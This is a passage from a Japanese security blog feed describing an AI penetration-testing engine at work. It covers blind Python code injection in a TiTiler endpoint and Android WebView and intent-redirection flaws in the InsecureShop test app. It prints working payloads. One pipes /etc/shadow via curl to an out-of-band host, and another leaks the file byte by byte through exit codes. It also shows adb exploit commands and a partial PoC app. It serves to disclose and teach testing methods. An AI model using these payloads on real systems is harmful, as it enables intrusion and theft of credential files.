&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Exfiltration Payload&lt;/code&gt;:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;b1&lt;span class="o"&gt;.&lt;/span&gt;__init__&lt;span class="o"&gt;.&lt;/span&gt;__globals__&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;__builtins__'&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;eval'&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="s2"&gt;"__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- &amp;lt;INTERACTSH_URL&amp;gt;')"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;`/etc/shadow` ファイルの最初の文字を読み取り、そのASCII値をコマンドの終了コードとして返すPythonペイロードを作成します。目標は、アウトオブバンドの手法が失敗したことを受けて、アプリケーションのレスポンスがこの終了コードを反映することを検証し、終了コードに基づくデータ持ち出しチャネルが実現可能であることを確認することです。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;h2 id="発見された脆弱性:終了コードを介したデータ持ち出しを伴うブラインドpythonコードインジェクション"&gt;発見された脆弱性：終了コードを介したデータ持ち出しを伴うブラインドPythonコードインジェクション&lt;/h2&gt;
&lt;h3 id="脆弱性の概要_3"&gt;脆弱性の概要&lt;/h3&gt;
&lt;p&gt;'/cog/point' エンドポイントの 'expression' パラメーターにおいて、ブラインドPythonコードインジェクションの脆弱性が特定され、悪用されました。サーバーは与えられた式を評価し、コマンドの直接の出力は返さないものの、実行されたコマンドの終了コードがJSONレスポンス内に返されます。この挙動を利用して、&lt;code&gt;/etc/shadow&lt;/code&gt; ファイルの内容を1文字ずつ持ち出しました。&lt;/p&gt;
&lt;h3 id="概念実証_2"&gt;概念実証&lt;/h3&gt;
&lt;p&gt;この持ち出しは、一連のペイロードを送信することで実現されました。各ペイロードは、&lt;code&gt;/etc/shadow&lt;/code&gt; ファイルから1文字を読み取り、それをASCII値に変換し、その値をコマンドの終了コードとして使用するように設計されています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最初の文字のASCII値を取得するためのペイロードの例&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('exit &lt;span class="sb"&gt;`head -c 1 /etc/shadow | od -An -tu1`&lt;/span&gt;')")
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="悪用のエビデンス_2"&gt;悪用のエビデンス&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/etc/shadow&lt;/code&gt; ファイルの内容全体が正常に持ち出され、アーティファクトとして添付されています。&lt;/p&gt;
&lt;h3 id="再現手順_2"&gt;再現手順&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;この脆弱性は、特別に細工したペイロードを含むGETリクエストを脆弱なエンドポイントに送信することで再現できます。  &lt;/li&gt;
&lt;li&gt;ファイルを持ち出す処理を自動化するために、Pythonスクリプトが作成されました。このスクリプトはファイルの内容を反復処理し、文字ごとに新しいリクエストを送信して、サーバーのレスポンスから終了コードをデコードします。  &lt;/li&gt;
&lt;li&gt;蓄積された文字によって、&lt;code&gt;/etc/shadow&lt;/code&gt; ファイル全体が再構築されます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/etc/shadow&lt;/code&gt;:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root:*:17885:0:99999:7:::
daemon:*:17885:0:99999:7:::
bin:*:17885:0:99999:7:::
sys:*:17885:0:99999:7:::
sync:*:17885:0:99999:7:::
games:*:17885:0:99999:7:::
man:*:17885:0:99999:7:::
lp:*:17885:0:99999:7:::
mail:*:17885:0:99999:7:::
news:*:17885:0:99999:7:::
uucp:*:17885:0:99999:7:::
proxy:*:17885:0:99999:7:::
www-data:*:17885:0:99999:7:::
backup:*:17885:0:99999:7:::
list:*:17885:0:99999:7:::
irc:*:17885:0:99999:7:::
gnats:*:17885:0:99999:7:::
nobody:*:17885:0:99999:7:::
_apt:*:17885:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;これを再度実行すると、異なる悪用とペイロードにつながります。以下は、エンジンが内容を1バイトずつリークするコードを生成できた別の例です。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="エクスプロイト2" class="img-fluid" src="https://blog.ostorlab.co/static/img/2025_09_04_titiler_python_code_injection_ai_poc/image1.png" title="エクスプロイト2"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;エクスプロイト2&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;</content><category term="Security"/><category term="security"/><category term="AI"/><category term="POC"/><category term="pentest"/><category term="python"/></entry><entry><title>AIによるペンテスト：Androidのインテントリダイレクションを深掘りする</title><link href="https://blog.ostorlab.co/ja/intent-redirection-ai-poc.html" rel="alternate"/><published>2025-08-31T16:20:00+02:00</published><updated>2025-08-31T16:20:00+02:00</updated><author><name>Ostorlab Team</name></author><id>tag:blog.ostorlab.co,2025-08-31:/ja/intent-redirection-ai-poc.html</id><summary type="html">&lt;p&gt;本記事では、OstorlabのAIペンテストエンジンが、インテントリダイレクション脆弱性についてAndroidアプリケーションを分析するプロセスを紹介します。静的解析と初期の検出結果から厳密な動的検証までのエンジンの道のりを追い、潜在的な脅威を特定するだけでなく、誤検知を入念に棄却する能力も実証します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;OstorlabのAIペンテストエンジンは、熟練した人間のセキュリティ研究者が行う、複雑で多段階のプロセスを再現するよう設計されています。それは、単にスキャナーを実行して出力を報告するだけではありません。仮説を立て、それをテストし、自らの検出結果を検証します。&lt;/p&gt;
&lt;p&gt;これを試すために、当社は&lt;strong&gt;インテントリダイレクション脆弱性のテスト&lt;/strong&gt;を目的として、エンジンを&lt;code&gt;InsecureShop&lt;/code&gt;というAndroidアプリケーションに向けました。脆弱性クラスをテストする目的は、すべてのリスクとテストすべきコンテキストを特定する脅威インテリジェンスモジュールによって定義されますが、それについては後続の記事で詳しく述べます。&lt;/p&gt;
&lt;p&gt;その後に続いたのは、優雅で高速なペンテストのプロセスでした。AIエンジンはアプリケーションを逆コンパイルし、静的解析を通じて潜在的に脆弱なコンポーネントを特定し、そして動的解析と概念実証アプリケーションを用いて、各検出結果の検証を厳密に試みました。&lt;/p&gt;
&lt;p&gt;本記事では、エンジンの完全で、編集されていないワークフローを記録し、クリティカルなバグを見つける能力だけでなく、同じくらい重要なこととして、それらを確定または除外する能力に光を当てます。&lt;/p&gt;
&lt;h2 id="テスト計画の生成"&gt;テスト計画の生成&lt;/h2&gt;
&lt;p&gt;AIエンジンの最初のステップは、次の目的を持つ10タスクの方法論を策定することです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;エクスポートされたすべてのアプリケーションコンポーネントとそのインテントフィルターを特定する  &lt;/li&gt;
&lt;li&gt;インテントの処理を分析し、潜在的なリダイレクションの欠陥を探す  &lt;/li&gt;
&lt;li&gt;悪意のあるインテントでコンポーネントをファジングし、意図しない挙動を引き起こす  &lt;/li&gt;
&lt;li&gt;確定した脆弱性について、完全な概念実証アプリケーションを開発する  &lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="計画の内訳"&gt;計画の内訳&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;APKの逆コンパイル&lt;/strong&gt; - アプリケーションのアタックサーフェスをマッピングするために、AndroidManifest.xmlファイル、リソース、ソースコードを抽出する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コンポーネントの分析&lt;/strong&gt; - すべてのアクティビティ、サービス、ブロードキャストレシーバーを列挙し、&lt;code&gt;android:exported=true&lt;/code&gt;のコンポーネントに注目する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インテントフィルターの文書化&lt;/strong&gt; - エクスポートされた各コンポーネントについて、アクション、カテゴリー、データスキームを文書化する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ソースコードレビュー&lt;/strong&gt; - 受信したインテントのエクストラからIntentオブジェクトが作成または抽出されるパターンがないか、エクスポートされたコンポーネントを精査する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;環境のセットアップ&lt;/strong&gt; - ロギングと監視のツールを有効にしたテスト端末にアプリケーションをインストールする&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;悪意のあるインテントの作成&lt;/strong&gt; - リダイレクションの能力をテストするために、エクストラのバンドルにネストされたインテントを埋め込んだインテントを作成する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;権限昇格のテスト&lt;/strong&gt; - ネストされたインテントを通じてエクスポートされていないコンポーネントを標的とし、不正なアクセスがないかテストする&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;システムの監視&lt;/strong&gt; - インテントリダイレクションの成功の兆候がないか、logcatとアプリケーションの挙動を監視する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PoCの開発&lt;/strong&gt; - 悪意のあるインテントの作成を通じてセキュリティ上の影響を実証するAndroidアプリケーションを作成する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文書化&lt;/strong&gt; - 脆弱なコンポーネント、使用した悪意のあるインテント、PoCのソースコードとともに検出結果を文書化する&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="エンジンのステップごとの推論"&gt;エンジンのステップごとの推論&lt;/h2&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;Decompile the APK and meticulously analyze the AndroidManifest.xml file. The goal is to create a comprehensive and definitive list of all exported components (activities, services, and broadcast receivers). The expected outcome is a list of component names marked with android:exported="true".&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;Step1: &lt;code&gt;run_decompile_apk&lt;/code&gt;:&lt;/strong&gt;&lt;br/&gt;
  - Tool name: &lt;em&gt;run_decompile_apk&lt;/em&gt;&lt;br/&gt;
  - Args:  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;apk_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'/REDACTED/InsecureShop.apk'&lt;/span&gt;_
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;AndroidManifest.xml&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;manifest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;xmlns:android=&lt;/span&gt;&lt;span class="s"&gt;"http://schemas.android.com/apk/res/android"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:versionCode=&lt;/span&gt;&lt;span class="s"&gt;"1"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:versionName=&lt;/span&gt;&lt;span class="s"&gt;"1.0"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;package=&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"android.permission.INTERNET"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"android.permission.READ_EXTERNAL_STORAGE"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"android.permission.WRITE_EXTERNAL_STORAGE"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;application&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:debuggable=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;activity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop.WebViewActivity"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;intent-filter&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"android.intent.action.VIEW"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;category&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"android.intent.category.DEFAULT"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;category&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"android.intent.category.BROWSABLE"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:scheme=&lt;/span&gt;&lt;span class="s"&gt;"insecureshop"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:host=&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/intent-filter&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/activity&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;activity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop.WebView2Activity"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;intent-filter&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop.action.WEBVIEW"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;category&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"android.intent.category.DEFAULT"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/intent-filter&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/activity&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;activity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop.PrivateActivity"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;"false"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;...
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;provider&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop.contentProvider.InsecureShopProvider"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:readPermission=&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop.permission.READ"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:authorities=&lt;/span&gt;&lt;span class="s"&gt;"com.insecureshop.provider"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"net.gotev.uploadservice.UploadService"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:enabled=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/application&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/manifest&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="検出結果1:webviewactivityにおけるローカルファイルインクルージョン"&gt;検出結果1：WebViewActivityにおけるローカルファイルインクルージョン&lt;/h3&gt;
&lt;p&gt;AIによる&lt;code&gt;WebViewActivity.java&lt;/code&gt;とそれに対応するマニフェストのエントリーの静的解析は、ある仮説につながりました。すなわち、このアクティビティは、カスタムURI内の&lt;code&gt;url&lt;/code&gt;パラメーターを通じてローカルファイルを読み込むよう仕向けられる可能性があり、潜在的なローカルファイルインクルージョン（LFI）脆弱性を示唆している、というものです。
そこでAIは、この仮説の検証に移りました。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;Step 1: &lt;code&gt;Trigger the Webview&lt;/code&gt;&lt;/strong&gt;&lt;br/&gt;
  - Tool name: &lt;em&gt;adb&lt;/em&gt;&lt;br/&gt;
  - Args:  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;shell&lt;span class="w"&gt; &lt;/span&gt;am&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;-a&lt;span class="w"&gt; &lt;/span&gt;android.intent.action.VIEW&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"insecureshop://com.insecureshop/web?url=https://evil.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Step 2: &lt;code&gt;Result Observation&lt;/code&gt;&lt;/strong&gt;&lt;br/&gt;
  - Tool name: &lt;em&gt;run_take_screenshot&lt;/em&gt;&lt;br/&gt;
  - Output: &lt;em&gt;Successfully captured 1 screenshots.&lt;/em&gt;&lt;br/&gt;
&lt;figure&gt;&lt;img alt="evil.comを開く" class="img-fluid" src="https://blog.ostorlab.co/static/img/2025_08_29_intent_redirection_ai_poc/evil.png" title="evil.comを開く"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;evil.comを開く&lt;/figcaption&gt;&lt;/figure&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: &lt;code&gt;Create Test File&lt;/code&gt;&lt;/strong&gt;&lt;br/&gt;
  - Tool name: &lt;em&gt;adb&lt;/em&gt;&lt;br/&gt;
  - Args:  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;shell&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Vulnerability&lt;span class="w"&gt; &lt;/span&gt;Confirmed&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/data/local/tmp/validation.html
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Step 4: &lt;code&gt;Attempt to Load Local File via Intent&lt;/code&gt;&lt;/strong&gt;&lt;br/&gt;
  - Tool name: &lt;em&gt;adb&lt;/em&gt;&lt;br/&gt;
  - Args:  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;shell&lt;span class="w"&gt; &lt;/span&gt;am&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;-a&lt;span class="w"&gt; &lt;/span&gt;android.intent.action.VIEW&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"insecureshop://com.insecureshop/web?url=file:///data/local/tmp/validation.html"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Step 5: &lt;code&gt;Result Observation&lt;/code&gt;&lt;/strong&gt;
  - Tool name: &lt;em&gt;run_take_screenshot&lt;/em&gt;&lt;br/&gt;
  - Output: &lt;em&gt;Successfully captured 1 screenshots.&lt;/em&gt;&lt;br/&gt;
&lt;figure&gt;&lt;img alt="LFIの検証を読み込む" class="img-fluid" src="https://blog.ostorlab.co/static/img/2025_08_29_intent_redirection_ai_poc/read_lfi_validation.png" title="LFIの検証を読み込む"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;LFIの検証を読み込む&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="検出結果2:webview2activityにおけるインテントリダイレクション"&gt;検出結果2：WebView2Activityにおけるインテントリダイレクション&lt;/h3&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;The analysis of &lt;code&gt;com.insecureshop.WebViewActivity&lt;/code&gt; revealed a local file inclusion vulnerability. The &lt;code&gt;AndroidManifest.xml&lt;/code&gt; shows another exported activity, &lt;code&gt;com.insecureshop.WebView2Activity&lt;/code&gt;, which is activated by the custom action &lt;code&gt;com.insecureshop.action.WEBVIEW&lt;/code&gt;. The next task is to investigate this second WebView activity to determine if it shares a similar vulnerability or has other flaws in its intent handling.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;次に、AIは&lt;code&gt;WebView2Activity&lt;/code&gt;を分析しました。これはエクスポートされたアクティビティで、&lt;code&gt;extra_intent&lt;/code&gt;という名前の&lt;code&gt;Parcelable&lt;/code&gt;エクストラとして渡された任意の&lt;code&gt;Intent&lt;/code&gt;を起動するように見えました。これはインテントリダイレクションの典型的なパターンであり、悪意のあるアプリがエクスポートされていないコンポーネントを起動することを許してしまう可能性があります。&lt;/p&gt;
&lt;p&gt;これを検証するため、AIは、この欠陥を悪用してエクスポートされていない&lt;code&gt;PrivateActivity&lt;/code&gt;を起動するよう設計された、概念実証の悪意のあるアプリケーションを構築してデプロイしました。  &lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;Step1: &lt;code&gt;Build and Install PoC&lt;/code&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;Tool name: &lt;em&gt;run_build_app&lt;/em&gt;&lt;br/&gt;
Args:&lt;br/&gt;
&lt;em&gt;&lt;code&gt;Imports&lt;/code&gt;:&lt;/em&gt; &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;android.content.ComponentName&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;android.content.Intent&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;android.os.Bundle&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;androidx.appcompat.app.AppCompatActivity&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;&lt;code&gt;PoC Application Code&lt;/code&gt;:&lt;/em&gt; &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;MainActivity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AppCompatActivity&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;override&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;fun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Bundle?)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

